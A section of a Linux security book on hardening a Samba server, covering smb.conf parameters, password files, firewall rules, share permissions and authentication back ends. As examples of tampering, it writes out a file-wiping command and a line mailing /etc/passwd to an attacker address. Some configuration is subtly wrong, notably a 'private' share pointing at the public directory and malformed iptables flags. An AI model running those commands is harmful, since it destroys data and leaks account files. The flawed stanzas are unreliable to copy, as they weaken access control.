Section 4.8 Doing the Samba

4.8 Doing the Samba

graphics/fourdangerlevel.gif

Samba is a network service that allows Windows clients to communicate with a Linux server using a protocol called CIFS. CIFS stands for Common Internet File Service.

This section on Samba generously was written exclusively for this book by Larry Gee, an experienced Samba administrator. He has revised it extensively for this edition.

In an earlier life, CIFS was called SMB, which stands for Server Message Block, hence the name SaMBa. According to the Samba team, Microsoft's published SMB/CIFS specification was not correct and the Samba team had to reverse engineer the actual protocol by sniffing the network during SMB operations between Windows clients and servers. (I had a similar experience with Sun's NFS specification when I created an NFS server for a non-UNIX operating system from scratch.)

Samba runs over ports 137, 138, and 139 on your server, and sometimes on port 445. These ports are defined in the /etc/services file and use both TCP and UDP. Because Samba is one of the more popular services on Linux, testing and security reviews are conducted regularly. There are several good books on Samba. One is Samba: Integrating Unix and Windows by John D. Blair. Configuration of the Samba service is covered in great detail; if you are running the SMB service it should be required reading.

Samba can be SSL-wrapped and Windows supports this. The techniques are discussed at

www.us2.samba.org/samba/docs/man/smb.conf.5.html#ssl

The latest information about Samba can be found at www.samba.org. This site actually is a list of mirrors, so you can find one close to you for reasonable response times. It has a searchable database for each of the mailing lists that is run by the Samba team, and it has proven very useful to the author.

4.8.1 What Is Samba?

Samba is one of the best ways for making Windows computers and Linux computers work together. It provides almost all of the services necessary to make a Linux computer emulate a Windows server. All popular distributions of Linux come with a version of Samba. It may be installed and running by default if your distribution is old enough. More recent distributions of Linux have learned to make systems more secure. Samba may be installed but, by default, not running. Red Hat made this change in its 7.1 release. Other Linux vendors made the change at about the same time. It would be fairly safe to say that if your distribution came with a 2.4 kernel, then Samba, if installed, will be turned off by default.

4.8.2 Versions

There are several versions of Samba. If you have any version older than 2.0.10, you should upgrade because there are several remote exploitable bugs in versions prior to that release. Version 2.2.x has been pretty clean, and while version 3.0 is still in development, it will hopefully be released prior to the end of 2002.

4.8.3 Is Samba Installed?

To determine if you have Samba on your system, search for the two files that make up the core of Samba, smbd and nmbd. Usually they are installed in the path and can be found with the which smbd and which nmbd commands. If they do not show up, you may need to use the find / -name '?mbd' -print command.

If you have an RPM-based distribution (like Red Hat, SuSE, or Mandrake) you can issue the command

 rpm -qa | grep samba

to find out if you have it installed. The name of the RPM returned will likely clue you in to the version installed on your machine.

4.8.4 What Version of Samba Do I Have?

Once you have determined that Samba is installed on your machine determining the version is easy. Just type smbd -V. Something like the following will be returned:

 Version 2.2.4

 Version 3.0.0-alpha17

If you have a version of Samba prior to 2.0.10, or if you have 2.2.0a, you should upgrade to a newer version. Previously, there was a macro expansion bug that could be exploited remotely to do damage to your file system. The most recent version of Samba is 2.2.4. There is continual development on Samba, and many large companies like HP, IBM, and Quantum have invested considerable resources to make Samba better.

4.8.5 The `smb.conf` File

The smb.conf file is the main file for telling Samba how to work. It contains sections that apply to the entire system and specialized sections for configuring how different paths on the Linux box will be made available to Windows computers. Its format mimics that of a Windows .INI file.

There are several things you need to be aware of in the smb.conf file that are critical to system security. First, the smb.conf file needs to be in a secure place where no user other than root can modify it. Make sure the file owner is root, the group is root, and the permissions on the file are no greater than 644.

Second, watch the contents of the file. Samba programmers added some parameters that if used improperly, could leave your system open to compromise. The dangerous parameters are listed here for your reference, but do not represent an exhaustive list, because Samba is a changing and evolving program. Some of the parameters listed here are from the forthcoming version 3.0, so if your version doesn't have it, don't fret.

 abort shutdown script add printer command add share command add user script add machine script delete printer command delete share command delete user script dfree command message command lppause command lpq command lpresume command lprm command passwd chat passwd program print command queueqause command queueresume command exec,preexec,root preexec,postexec, root postexec magic script (very dangerous) shutdown script wins hook

All of the above parameter names refer to external programs or scripts called by the Samba server on behalf of the user. Most are executed as the root user and if you as the system administrator are not careful, they could contain something malicious, such as:

 rm -rf /

 mail cracker@badguys.net < /etc/passwd

Be especially careful about the commands that they call. Imagine the damage a "Trojaned" password program could cause. Because Samba is so well understood, it is fairly easy to modify its behavior by manipulating the smb.conf file.

 config file include

These parameters, typically (but not always) present in the global section, allow other alternate configuration files to either replace the smb.conf file or become part of it with the include directive. If these are present, watch their contents just as closely as you would the main smb.conf file. Most installations do not need to use either of these directives.

 follow symlinks wide links

These directives can limit Samba to look only at the local file system and not to follow symbolic links. Normally, you would not use these because they extract a performance hit, but they will prevent symlink attacks that could be done by a user linking /etc/passwd into their home directories, and then copying it off of the machine. If you allow users to have shell access to the machine along with Samba access, you may wish to set these directives to false:

 admin users hosts equiv smbpasswd use rhosts username map

These directives can be used to play tricks with user permissions. The admin users directive allows a user or group of users to assume root privileges in the context of a share. Hosts equiv and use rhosts allows a computer to bypass password checking. Smbpasswd and username map, if not watched, could point to a manufactured file, where all of the passwords were blank or where the user account associations were disturbed.

4.8.6 The `smbpasswd` File

The smbpasswd file is required if you wish to use encrypted passwords on your Windows computers, which is the default since Windows 95 OSR-2 and Windows NT, patch level 3. You will need to have the directive

 encrypt passwords = yes

in the smb.conf file.

The smbpasswd file consists of 6 different colon-delimited fields:

User name. This is an unencrypted Windows username. Case is not important.
UNIX user ID. This is the UID used to control file system permissions. If Billy logs into the Windows box, this is the UID of Billy's account on the Linux box.
LAN manager password. The user's password is used as salt against a determined character sequence to derive this entry.
NT-password. The password is converted to Unicode and then encrypted using MD4.
Account flags. This tells which type of account is being used.
U = user account
D = disabled
N = an account with no password
W = a workstation account used to configure Samba's Domain controller features.
The time from UNIX epoch when the last account update occurred.

If you have the null passwords directive set in the smb.conf file, you should never see any accounts without passwords. As a system administrator, watch very carefully for these. The following perl script will help you find null accounts quickly:

 #!/usr/bin/perl -T -w   use strict;   my $file = "/etc/samba/smbpasswd";   my @fields;   open (FILE, "$file") or die "Cannot open $file because $!\n";   while (<FILE>) {           chomp;           @fields = split(':',$_);           next if (scalar(@fields) < 6);           if ($fields[4] =~ m/N/) {                print "$fields[0]\tUID:$fields[1]\thas a null password\n";           }   }   close (FILE);   exit(0);

The smbpasswd program will allow you to manipulate this file in many different ways. Be sure to remember to delete the user from the smbpasswd file when it is deleted from the system. A stale account is just the tool a cracker is looking for to break into your system.

More about Samba passwords will be covered in "User Security" on page 221.

4.8.7 The User Mapping File

The user mapping file is a rarely used mechanism for associating Windows user names with UNIX user names. It could be helpful if the Windows user name has some odd characters in it, but more generally it is used to provide special privileges to different users.

The format for the file is:

 Unix User ID = Windows User ID [,Windows User ID ...]

Watch out that UNIX User ID is not root or other powerful accounts.

4.8.8 Log Files

There are several log files whose location is controlled by a compile time option. Usually they are present in /var/log/samba. Log files can be configured so that there is a separate log file for each user (which is the Red Hat default) or a common log file.

Log files can get rather large (and most often are rotated with the logrotate program), but you can limit them in Samba with the following parameters:

 log file = /var/log/samba/mainsmb.log max log size = 50

Most distributions will have a default log file that is manipulated with logrotate. If you change from the default log file, be sure to change the name of the log file in the log rotate config files as well. Unless debugging, it is generally unnecessary to have individual machine log files.

Another thing about log files is the debug level. With verbose debug levels, a cracker might be able to extract a user's password for an application. Unless debugging, keep the debug level set to zero. Keeping the debug level low will also help the performance of your Samba server. Keep an eye on the log files and their contents.

 debug level = 0

A recent addition in the 2.2.x series is the ability to do all Samba logging to the system log. Using this feature will give you a single log file for all system activity and also affords you the luxury of having an external logging source. It is fairly common in large environments to have a machine be a log server and capture all of the logs for all of the machines on the network.

Samba responds to the UNIX signals SIGUSR1 and SIGUSR2 to change the level of debugging. A cracker could send the Samba processes a bunch of SIGUSR1's to crank up the debugging level and cause your server to slow to a crawl. The max log size directive is important to keep the partition where the log files are kept from filling up. Logrotate may not save you in time. Keep this in mind especially if you are using the syslog and syslog only directives.

4.8.9 Dynamic Data Files

This section covers the data files that change dynamically. Samba keeps track of many different things and has data files to store this information. Each Samba subsystem is discussed here, including what files are used by it and what kind of mischief can be caused by corrupting or deleting it.

4.8.9.1 Browsing Data

If a Samba server is functioning as a Windows Internet Naming Service (WINS), the WINS data is located in /var/cache/wins.dat. It is a human readable file with the various NetBIOS names and types, along with the IP addresses of each machine. Depending on the role a computer plays in the network, the WINS data will be different. Regular workstations will have one type of entry, while Primary Domain Controllers will have different entries.

There is another file in the /var/cache directory called browse.dat that will show all of the other computers on your network, and, based on the types of NetBIOS names those computers register, it will show what their different capabilities are. If a hacker gains access to your system by looking in the wins.dat and browse.dat files, they very quickly can see what other IP addresses are active on your network without having to reveal their hand with something as crude as a ping sweep.

4.8.9.2 New Database (`.tdb`) Files

Samba 2.2.x and beyond uses some new data files to keep track of transient data. These data files are kept in /var/cache/samba, and most of them have only root access. They are used to keep track of file locks, connections, printers and printer drivers, along with a few other things. If a cracker obtains root access, he can delete them and disrupt your data.

4.8.10 Setting Samba Up Securely

Samba is a wonderful tool for sharing files and printers. However, if you are not careful, you can compromise your systems security. The following sections are designed to help you set up your Samba server securely and define the normal precautions you might want to take. Some of these sections apply only to newer versions of Samba; this will be noted in the text.

4.8.11 Samba Network Security

The entry point into the Samba server is the network interface. Samba runs as two daemons, smbd provides the file services to the clients, and nmbd will provide the name resolution services. These daemons run on ports 137, 138, and 139. IP-only (without NetBIOS) services run on port 445, and should you choose to use them, you will need to take appropriate precautions there too. Be sure to block these ports at your firewall.

4.8.11.1 Listening on the Right Interface

Samba normally binds to all interfaces in the machine, and in computers where you have a single network card that is the behavior you want. However, you can limit Samba from listening to every bit of trash on the network by setting a few parameters. If you have multiple network cards (for example, in an Intracompany firewall/router), you can limit the traffic Samba will allow from a particular interface or network by using the following options in the global section of the smb.conf file.

 [global]           # only listen on the specified interfaces     bind interfaces only = yes           # which interfaces to allow traffic from           # Samba also understands linux alias conventions (eth0)     interfaces 127.0.0.1 192.168.1.10           # which networks to listen to           # EXCEPT allows excluding the router address     hosts allow = 127.0.0.1 192.168.1 EXCEPT 192.168.1.1           # which networks to ignore     hosts deny = 0.0.0.0

These parameters will help keep honest people honest; however, they do not prevent IP spoofing. They do provide another obstacle for dishonest people to traverse.

4.8.11.2 Keeping Unwanted Traffic Out

The directives hosts allow and hosts deny shown in the above section are a really good way to start keeping crackers out of your system. You can take that one step further and add IP Chains or IP Tables on top to restrict access even further, and if desired, you can be notified when someone outside your network tries to access your Samba server.

4.8.11.2.1 IP Chains

You can protect Samba further by using IP Tables or IP chains on the system. On most networks, the Samba server resides behind a firewall on a subnet, often using NAT. The following rules will help you protect your Samba server from unwanted network traffic, as an additional ring of security to deter a potential troublemaker.

The following IP Chains commands will block any Samba-related traffic from someplace other than your local network, assuming that your server is on a network of 192.168.1.0/24:

 # Allow SMB input from our "friends" ipchains -A input  -p tcp -s 192.168.1.0/24 --dport 137:139 -j ACCEPT ipchains -A input  -p udp -s 192.168.1.0/24 --dport 137:139 -j ACCEPT # Deny SMB input from everyone else and log violations ipchains -A input  -p tcp                   --dport 137:139 -j DENY -l ipchains -A input  -p udp                   --dport 137:139 -j DENY -l # Allow SMB outbound traffic to our "friends" ipchains -A output -p tcp -d 192.168.1.0/24 --sport 137:139 -j ACCEPT ipchains -A output -p udp -d 192.168.1.0/24 --sport 137:139 -j ACCEPT # Deny SMB outbound traffic to  everyone else ipchains -A output -p tcp                   --sport 137:139 -j DENY -l ipchains -A output -p udp                   --sport 137:139 -j DENY -l

These rules mirror those we set up with the interfaces, bind interfaces only, hosts allow, and hosts deny parameters in the smb.conf file.

There is a new port, 445, being used for connecting to SMB servers such as Samba, in what Microsoft calls "Direct-hosted SMB." Using this port eliminates NetBIOS and uses pure IP. Samba does not default to running on this port, and it would have to be started using inetd or xinetd. Only Windows 2000 and Windows XP have this capability.

The IP Chains rules that govern this port 445 configuration are as follows. However, the smarter move would be to prevent an smbd (Samba) process from starting by modifying the xinetd or inetd configuration file.

 ipchains -A input  -p tcp -s 192.168.1.0/24 --dport 445 -j ACCEPT ipchains -A input  -p udp -s 192.168.1.0/24 --dport 445 -j ACCEPT ipchains -A input  -p tcp                   --dport 445 -j DENY -l ipchains -A input  -p udp                   --dport 445 -j DENY -l ipchains -A output -p tcp -d 192.168.1.0/24 --sport 445 -j ACCEPT ipchains -A output -p udp -d 192.168.1.0/24 --sport 445 -j ACCEPT ipchains -A output -p tcp                   --sport 445 -j DENY -l ipchains -A output -p udp                   --sport 445 -j DENY -l

4.8.11.2.2 IP Tables

Protecting Samba with IP Tables is very similar to doing so with IP Chains. Repeat the following using udp.

 iptables -A INPUT  -p tcp -s 192.168.1.0/24 -dport 137:139 -j ACCEPT iptables -A INPUT  -p tcp                   -dport 137:139 -j LOG iptables -A INPUT  -p tcp                   -dport 137:139 -j DROP iptables -A OUTPUT -p tcp -d 192.168.1.0/24 -sport 137:139 -j ACCEPT iptables -A OUTPUT -p tcp                   -sport 137:139 -j LOG iptables -A OUTPUT -p tcp                   -sport 137:139 -j DROP

4.8.11.3 Machine Accounts

Samba 2.2.4 has the capability of being a Primary Domain Controller (PDC) and a Backup Domain Controller (BDC), making it an even better replacement for Windows NT. Earlier versions could operate as a PDC, but not a BDC. For your system to act as a BDC, you will need at least version 2.2.3.

There are countless texts, including the Using Samba book that is distributed with the source code, where you can find out how to set up a PDC with Samba, so I am not going to do it here. I do however wish to discuss machine accounts which are required to properly emulate the domain environment. Machine accounts are used to bring Windows machines "into the Domain fold," cryptographically speaking. These accounts will all end with the "$" sign. Their names match the NetBIOS names given to particular computers on a Windows network. Think of them as the NetBIOS hostnames.

A couple of things that you as a system administrator need to remember to do is ensure that these machine accounts do not have a login shell and that their passwords are disabled, not just hard to guess, but disabled by placing a "!!" in the password field. These accounts would normally fall into the stale account category, because they are not actively being used. Keep an eye on them so that if they suddenly get a password and have their UID and GID change to 0, you know you have got some digital shenanigans going on. You might find it advantageous when setting up a domain to set aside a range of UIDs for the machine accounts. This would help automate checking, should you choose to go that route. For example:

If the username ends with a "$" and the UID is less than 10,000 or greater than 10,500, notify the SysAdmin that there might be a problem.

The add machine script directive in the smb.conf file, if enabled, will allow machine accounts to be created automatically for new machines entering your network. If you set aside a range, be sure to enforce your ranges there, too. It may take some tricky programming to do.

4.8.12 Samba File Security

Never forget that your system running Samba is a file server, likely containing confidential information. As such, it is imperative that you put in appropriate controls to limit access to files and directories. If your server is only a file server and does not grant shell access, then your job is comparatively pretty easy. Almost all of the work can be done using Samba controls; however, if you plan to allow shell access, such as Telnet (bad) or SSH (good), then your job becomes a bit more difficult.

The process and mechanism I propose you use here has been tested in many different settings and has been found to be sufficiently secure to keep the riff-raff out while allowing normal users to do the work they need, both from their Windows computers and their shell accounts. It may not work for you. Using the Rings of Security concept, we will start at the file system. These techniques will work on any Posix file system (ext2, ext3, reiserfs, XFS, JFS, etc.).

Here is a quick note about users. When I set up a system, every user added has a common primary group. This is my users group, and it has a GID of 100. It is roughly equivalent to the NetWare "Everyone" group. This makes setting up permissions in public shares easier. When using a distribution like Red Hat, which by default places each user in their own primary group, I create a users group and add everybody as a member. The result is the same, but having everybody's primary group be "users" is a bit easier to manage.

4.8.12.1 File and Directory Masks for Shares

When setting up paths to be shared via Samba, first never share the root directory. If you do, you are just asking for trouble. I typically have my /home directory on a separate partition, so network users cannot fill up the root partition with their latest collection of MP3 files. All of my Samba share points come out of the /home/samba directory.

There are two general types of Samba shares. In one type, you want to allow everyone access; in the other you want to limit access. We will go through this exercise working with two shares called "public" and "private." The techniques discussed can then be tailored to your particular application.

We will now create the two shared directories.

 mkdir /home/samba/public mkdir /home/samba/private

Now, change the mode on the public directory to 2775. Change the mode on the private directory to be 2770. Then change the group on the public directory from root to "users." Add a group called "private" with the groupadd command. Finally change the group (chgrp) on the private directory to be "private."

Why? All access to the directory will be via group permissions. Since we plan to have a guest account, the public directory will be read-only to the guest user, and the private directory will be inaccessible. The group permissions on both directories will be sufficient for allowed users to read and write files.

The sticky bit has been set on both directories to more closely mimic the default behavior of a Windows NT server. When a user creates a file, his UID and primary GID are used to assign rights. If you are using individual groups for each user, this would cause each new file to be created with the users private group. The default mask of 022 will prevent anyone else from modifying it. The sticky bit will cause the file to be created so that the default group on the file is the "users" group. Thus, when the file owner chooses to allow others to modify the files he has created, the group is suitable. It is a way of forcing group inheritance.

For example:

User Larry creates a document called Customer_Proposal.doc. The file owner is Larry and the group is "users" (thanks to the sticky bit). User Bob now wants to read and modify the file. The default permissions on the file are 755. Bob will be able to read the file but not modify it. This is close to Windows default behavior, but not exactly the same. Bob needs rights to modify the file, so at this stage we're close, but not close enough, to Windows default behavior.

To fix the problem described in the example, you can use the "create mode" option to be 0775. This will allow group write permissions to be set. When working on a private share, you will want the "create mode" to be a bit more restrictive and not allow the world to see the file contents. Do this by setting the create mode to 0771. I will explain more about this in "Real Access Control Lists" on page 221.

So, there you have it. We have now mimicked the default behavior of NT using Samba and Linux, along with some judicious settings. I have included my smb.conf stanzas for your use here.

 [public]   path = /home/samba/public   public = yes   writable = yes   directory mask = 0775   # this is necessary if you do not have a common primary group   create mask = 0775   hide dot files = true [private]   path = /home/samba/public   public = no   writable = yes   directory mask = 0771   create mask = 0771   hide dot files = true   # see sections below for explanation of these parameters.   force group = @private   valid users = @private, bob, larry, mark, dave   write list = bob, larry   read list = mark, dave

4.8.12.2 Share Attach Permission Lists

On a public share, public = yes everyone has access. The permissions are generally pretty lax, allowing for a free exchange of files. On a private share, where access is controlled, you will want to specify who can have access and who cannot. This is done using setting public = no and then having a valid users list.

In the above example for the private share we have a valid users list of bob, larry, mark, and dave. Only these accounts will be able to attach to the private share. Maybe these guys are working on a project together and no one else in the company needs access to the project files, which are stored on the private share. Maybe this is analogous to your accounting group, which needs to have their data stored on the server for backup purposes, but we need to keep everyone else out. The valid users list is the mechanism for doing this.

Now, what is happening at the Linux file system level? The group ownership on the directory is private and we created the private group in /etc/group. Now, edit /etc/group, and place the users bob, larry, mark, and dave into that group. When completed, the group line will look something like this.

 private::30000:bob,larry,mark,dave

The GID is not really important. I just chose one that is out of the way of most everything else. It will be automatically created by the groupadd command, if you chose to use it.

Now, if the users bob, larry, mark, and dave want access to the data in the private directory, they can do so either through Samba or through their shell accounts. The directory permissions on /home/samba/private are 770, so anyone who is not a member of the private group will not be able to enter the directory, and the data remains secured.

4.8.12.3 Share Read and Write Lists

Samba has a much finer control over users' permissions than Posix normally allows. In the example of the private share, bob and larry have read and write permissions, while mark and dave only have read-only permissions. These are accomplished by using the directives:

 write list = bob, larry read list = mark, dave

These work pretty well, until mark and dave log in using SSH. Because they are members of the private group, they now have write permissions in the private directory, where through Samba, they could only read. This is a great argument for real Access Control Lists, covered in "Real Access Control Lists" on page 221.

If you do not plan to allow shell access to your Samba server by regular users, the read and write lists are quite capable of enforcing your desired level of security.

4.8.12.4 Pseudo Access Control Lists

The whole process I have been describing is what could be defined as a pseudo access control list. Each privately shared resource has its own group. Only those in the group can gain access to the shared directory via Samba or other method. Those not in the group have no access. They work quite well until you want to be able to say, within those shared directories, bob and larry can write, while mark and dave can only read. Or, larry and bob can write to this file, but mark and dave cannot. The Posix permissions are not granular enough to accomplish this much detail without the gratuitous use of specialized groups. Other big holes include the use of a shell account and the integration of other services like NFS or AppleTalk (which you may also wish to use on your server).

4.8.12.5 Real Access Control Lists

Real Access Control Groups are possible on Linux. You just have to be willing to get off the beaten track a bit. There is, as of the writing of this book, an effort to standardize Posix Access Control Lists (ACLs). The reason? There are multiple competing methods available for achieving the goal of real Access Control Groups. One is a patch available from Bestbits (acl.bestbits.at) that works with the ext2 and ext3 file systems. Another is the XFS file system available from SGI (oss.sgi.com). Each of these has advantages and disadvantages.

Bestbits advantage: If you already have a functioning Samba server based on the ext2 or ext3 file system (which most are), this is a relatively easy add-on. You download the kernel patch and utilities, patch your kernel, and recompile. You will not have to change file systems, and you can keep all of your files, users, and so forth intact.

XFS advantage: If you are setting up a new Samba server from scratch, using the XFS file system to store your user's data protects it with a mature journaling file system that has thousands of high-end servers running on it. Another advantage is that SGI has a version of the Red Hat CD-ROM with XFS already set up and ready to use. Additionally, there is a patch available to extend XFS and Samba to use all of the Windows NT permissions. Check on the XFS mailing list for a link to the patch.

With either BestBits or XFS, Samba will need to be recompiled with the with-acl-support option before you can use this feature. The respective man pages and HOWTOs will give you the correct syntax for each method to create, modify, and delete the ACLs. In either case, you will also need to modify your backup procedure so that the ACLs will be backed up and restored in the event of a system crash. XFS has a utility called xfsdump. I have seen other techniques where all of the ACLs are enumerated and stored in a special file prior to backup so standard tools like tar and cpio can be used.

4.8.12.6 Home Directories

Samba has the ability to share a user's home directory by default. To ensure the highest level of protection to the user's home directory, you will want to have the permissions set to 700 and no more. Then, in the special "homes" share ensure that the share is not publicly accessible or browsable, and that it has a valid user list of only the user. The Posix permissions being 700 will ensure that if Samba lets an invalid user through, he will not have any rights. However, I have never seen Samba make this kind of mistake.

4.8.13 User Security

There are three different types of user access allowed under Samba. The first is share level. I have not found many reasons to employ it, so if you need it, I kindly refer you to the Samba documentation. The parameter to set this is:

 [global]     security = share

The second and most common for stand-alone Samba servers is the user-level security. This, generally stated, is that all rights to the shared resources are granted on a per-account basis, and that the account database is the /etc/passwd and smbpasswd pair.

 [global]     security = user

The third way is to store the user password on an NT Domain Controller. This allows a Samba server to be a regular file server in a Domain, and have clients log into the Domain. This does not mean that /etc/passwd is no longer used, just that instead of storing the user account (passwd etc) information in the smbpasswd data file, it now resides in the Domain Controller.

 [global]     security = domain

 [global]     security = server

There are two other ways of working a Samba server into your environment using the winbind daemon and LDAP. I will discuss these later. These involve replacement of both the /etc/passwd and the smbpasswd files and some chicanery with the nsswitch files.

4.8.13.1 User Accounts

Every user that connects to the Samba server must have a user account. Never forget that underneath Samba is a UNIX box, and the access rules for Linux provide a foundation for Samba. There are many ways to provide user accounts, /etc/passwd, NIS, winbind, and LDAP.

4.8.13.1.1 Local Authentication

This is the simplest of all authentication methods. All of the popular distributions I have used have had a default Samba configuration file that used the /etc/passwd and /etc/group to keep track of user accounts. The Windows encrypted passwords are stored in the smbpasswd file. On Red Hat, this is /etc/samba/smbpasswd.

Each user that needs access to the Samba server will need an account in /etc/passwd, which can be added with useradd options username. Then to create the necessary smbpasswd entry, the

 smbpasswd -a username

command will need to be run.

An example would be:

 useradd -g users -d /dev/null -s /dev/null -n -u 500 bob smbpasswd -a bob

This is the most secure user account you can create (I think). There is no home directory, nor is there a default shell. This user can access only the Samba shares that the SysAdmin permits them to.

If you want a home directory for the user, change the -d parameter to /home/bob, and make sure that the home directory permissions are 700.

In this configuration, you would want your nsswitch.conf file to be

 passwd: files shadow: files group: files

This way, the only place that user accounts can be stored is on the local machine.

If you have a single Samba server, this is the most secure way of setting up user accounts. If you have multiple Samba servers, or if you need to synchronize user accounts with another machine, you can use this method, but as the system administrator, you will be responsible for keeping the files in sync manually. I have seen rsync and similar tools used to keep multiple Samba servers' accounts synchronized, but they can be problematic and there is always a lag before updates propagate, as well as race conditions. The methods described below will help alleviate that problem and make it easier to share a common set of user accounts across multiple machines.

4.8.13.1.2 NIS and NIS+

NIS and NIS+ are the UNIX standbys for synchronizing user accounts across multiple machines. NIS uses a machine designated as the master server and other hosts on the network pull their user account data from it. It is remarkably effective, but has security problems due to the use of the insecure RPC protocol (because RPC runs on top of UDP). There is a Web site that shows how to run NIS+ securely, well, as securely as NIS can be made to run. It can be found at www.linux-nis.org.

When using NIS, you will still need to have an smbpasswd file. As the system administrator, this can be a big job if there are a lot of users in the NIS map files. If you are both the NIS administrator and the Samba administrator, be sure that when adding and deleting users from the NIS map files that you also make corresponding changes to the smbpasswd file. If you have multiple machines you have a lot of work to do with smbpasswd. You may wish to use a perl script for finding the differences between the NIS database and the smbpasswd file and deal with them automatically.

Because of security weaknesses in NIS, you will want to be sure to have IP Chains or IP Tables rules for defining which computers on your network have access to the local portmap daemon. However, this will only give you partial security because portmap (RPC) uses UDP, and it is spoofable. Check and double-check that the portmap daemon is blocked at the corporate firewall to prevent possible exploitation of this historically vulnerable service. Portmap runs on TCP and UDP ports 111.

4.8.13.1.3 winbind

The winbind daemon is a recent addition in the 2.2 series and went into the standard distribution at version 2.2.3. It allows a Windows domain controller to function as the /etc/passwd and /etc/group file.

There are a few directives that need to be placed in the smb.conf file to enable this behavior. Plus, you will need to start the winbind daemon before you start Samba.

 [global]  winbind uid = 1000-24999  winbind gid = 25000-29999  security = domain  password server = Primary Domain Controller, Backup Domain Controller(s)

These two directives control which UIDs and GIDs are assigned on the Linux system for accounts on the domain controller. If you are attempting to use NIS(+) in conjunction with winbind, be very sure that the ranges you specify for winbind do not interfere with UIDs and GIDs assigned in the NIS tree. If you do, you will get weird results and corrupt your security model.

If you plan to allow home directories on the Linux box while using winbind, you will be responsible for their creation prior to the user logging in. The template home dir directive in the global section will provide a way of automatically determining where the user's home directory will be located. Also, if you plan to use winbind, the default login shell is /bin/false. If your Windows users have any reason to log in to the Linux box via Telnet or SSH (SSH is preferred), this parameter template shell will need to be changed.

To enable the use of winbind, you will need to modify the /etc/nsswitch.conf file to resemble the following:

 passwd: files winbind group:  files winbind

In this ordering, a local user will have precedence over one with the same name that appears on the domain controller. If you wish the domain account to have precedence over a local account, simply reverse the files and winbind order.

Another consideration about the winbind daemon running on multiple Samba servers is that even if you configure them in exactly the same way, the Linux UIDs and GIDs for the domain accounts are almost guaranteed not to match. Example: we have two Samba servers, SAMBA1 and SAMBA2. Both are running the winbind daemon and are authenticating against NTPDC. User Larry has an account on the domain controller. On SAMBA1, his Linux UID = 1000, and on SAMBA2, his Linux UID = 1547. There is no way I have figured out to automatically fix this. This becomes a real issue if you are attempting to use winbind with another protocol, especially NFS, which requires synchronization between the UIDs and GIDs on the different Linux computers to ensure good file security.

Another issue when using winbind to establish user accounts should be noted here. It is far easier to break into a Windows computer than a secured Linux computer. Consider this when using a Windows box to provide user accounts for a Linux box. If using winbind, my recommendation is not to have a default shell for any account that is provided by the domain controller.

The association between Windows domain account names and their Linux UID is stored and cached in a database file located in the /var/lock/samba (or wherever you specified) directory. Similarly, the associations between Windows domain groups, their Linux GID, and their membership lists are also controlled and cached in a database file. The caching is necessary to deal with potential network troubles and Microsoft's legendary reliability.

4.8.13.1.4 LDAP

LDAP is another way of centrally storing user data. There are several LDAP servers available, one of which is OpenLDAP (www.openldap.org). Samba can use an LDAP server to store the user account information that is normally stored in the smbpasswd file. When combined with some software from padl.com and changes in the nsswitch file, a Linux box can share both UNIX UIDs and Windows SIDs across the enterprise. This works by extending the standard Posix LDAP schema to include the Windows encrypted passwords and SIDs.

When using LDAP, you will want to use the following options:

 [global]     security = user     ldap admin dn = ldapadmin # or whatever you choose     ldap server = ldap.yourdomain # or localhost or ...     password server = # no password server

As of Samba version 2.2.3, the LDAP interface is considered to be stable and is safe to use.

One of the great things about using an LDAP server is that unlike winbind, the Linux UIDs will be consistent from machine to machine, making it possible to use Samba and NFS on the same group servers and enforce a common security model across all the servers. When you outgrow your current Samba server, you can simply add another one and reuse all of the user accounts, UIDs, and Windows information (SIDs, passwords, etc).

4.8.13.2 Logon Services

Samba has the ability to service user profiles and logon scripts. These are DOS formatted scripts and information that could be corrupted if allowed to be accessed by untrusted users. Imagine a rogue local user adding a command to the logon script to connect to his local box and install a malicious program. Keep these secured and accessible only by the people who need to modify them. At least set them as read-only to users other than root.

4.8.14 Samba Management Security

Swat is a lovely tool that I have never found a reason for. Once a Samba server is set up, it does not normally require constant system-administrator attention. Therefore, it is not really necessary to have the super server listen on a given port (901 usually) for the system administrator or a cracker to try and break in.

If you decide to use swat, restrict how many instances of it can be started and where it can be accessed from. And, if someone is trying to access it, keep track of who it is by logging. These are all configurable parameters in xinetd. A typical secured xinetd file will look something like this:

 service swat {           port            = 901           socket_type     = stream           wait            = no           only_from       = 192.168.1.100           user            = root           server          = /usr/sbin/swat           log_on_failure  += USERID           instances       = 1           # if you have multiple NICs, or absolutely must           # run on it a firewall, use the "inside" address           bind            = 192.168.1.1           disable         = no   }

If you wished to use an SSL tunnel for management, you could modify the server string to be:

 server = /usr/sbin/stunnel server_args = -p $CERTIFICATE_PATH -l /usr/sbin/swat

Consult the stunnel user documentation for instructions on how to create a certificate for use with swat.

In many years of administering Samba boxes, I have never used swat. When doing things like adding users, SSH was my preferred method to manage the box. The Samba configuration file format and parameters are like old friends. I also kept backups of the smb.conf file by date so in the event I really screwed something up, I had an easy way to roll back to a previous configuration. You might find the Revision Control System (RCS) ideal for this purpose.

Most of the time, I was just adding users and machine accounts and assigning access to resources. Because I was always running multiple file protocols (usually NFS) along with Samba, I had to add the users to the UNIX system along with the work necessary for Samba, so swat was of little value to me. Please take this as the ranting of a madman who uses SSH for the same reason he drives a stick shift car, "I'm in control." Rant_mode = off.

4.8.15 Using SSH with Samba

Samba is capable of using SSL for communicating with the network. However, all the documentation I have seen, including the Using Samba book distributed with the source, talks about using the SSL capabilities of Samba as a proxy to establish a tunnel through the Internet. With the widespread use of Virtual Private Networks (VPN), this proxy capability becomes the loser to a VPN. If you need to connect Samba servers together at distant sites, use of a VPN may be a better and more versatile choice than setting up a Samba SSL tunnel between servers.

You can use the VPN techniques covered in this book, including FreeS/WAN, or a hardware based solution not using Linux at all. There are some very good solutions out there. If you still wish to use SSL, please refer to the Using Samba book, as it is covered there in detail. It should have come with your distribution. On Red Hat systems, the documentation is in the samba-swat RPM or in the samba RPM.

Top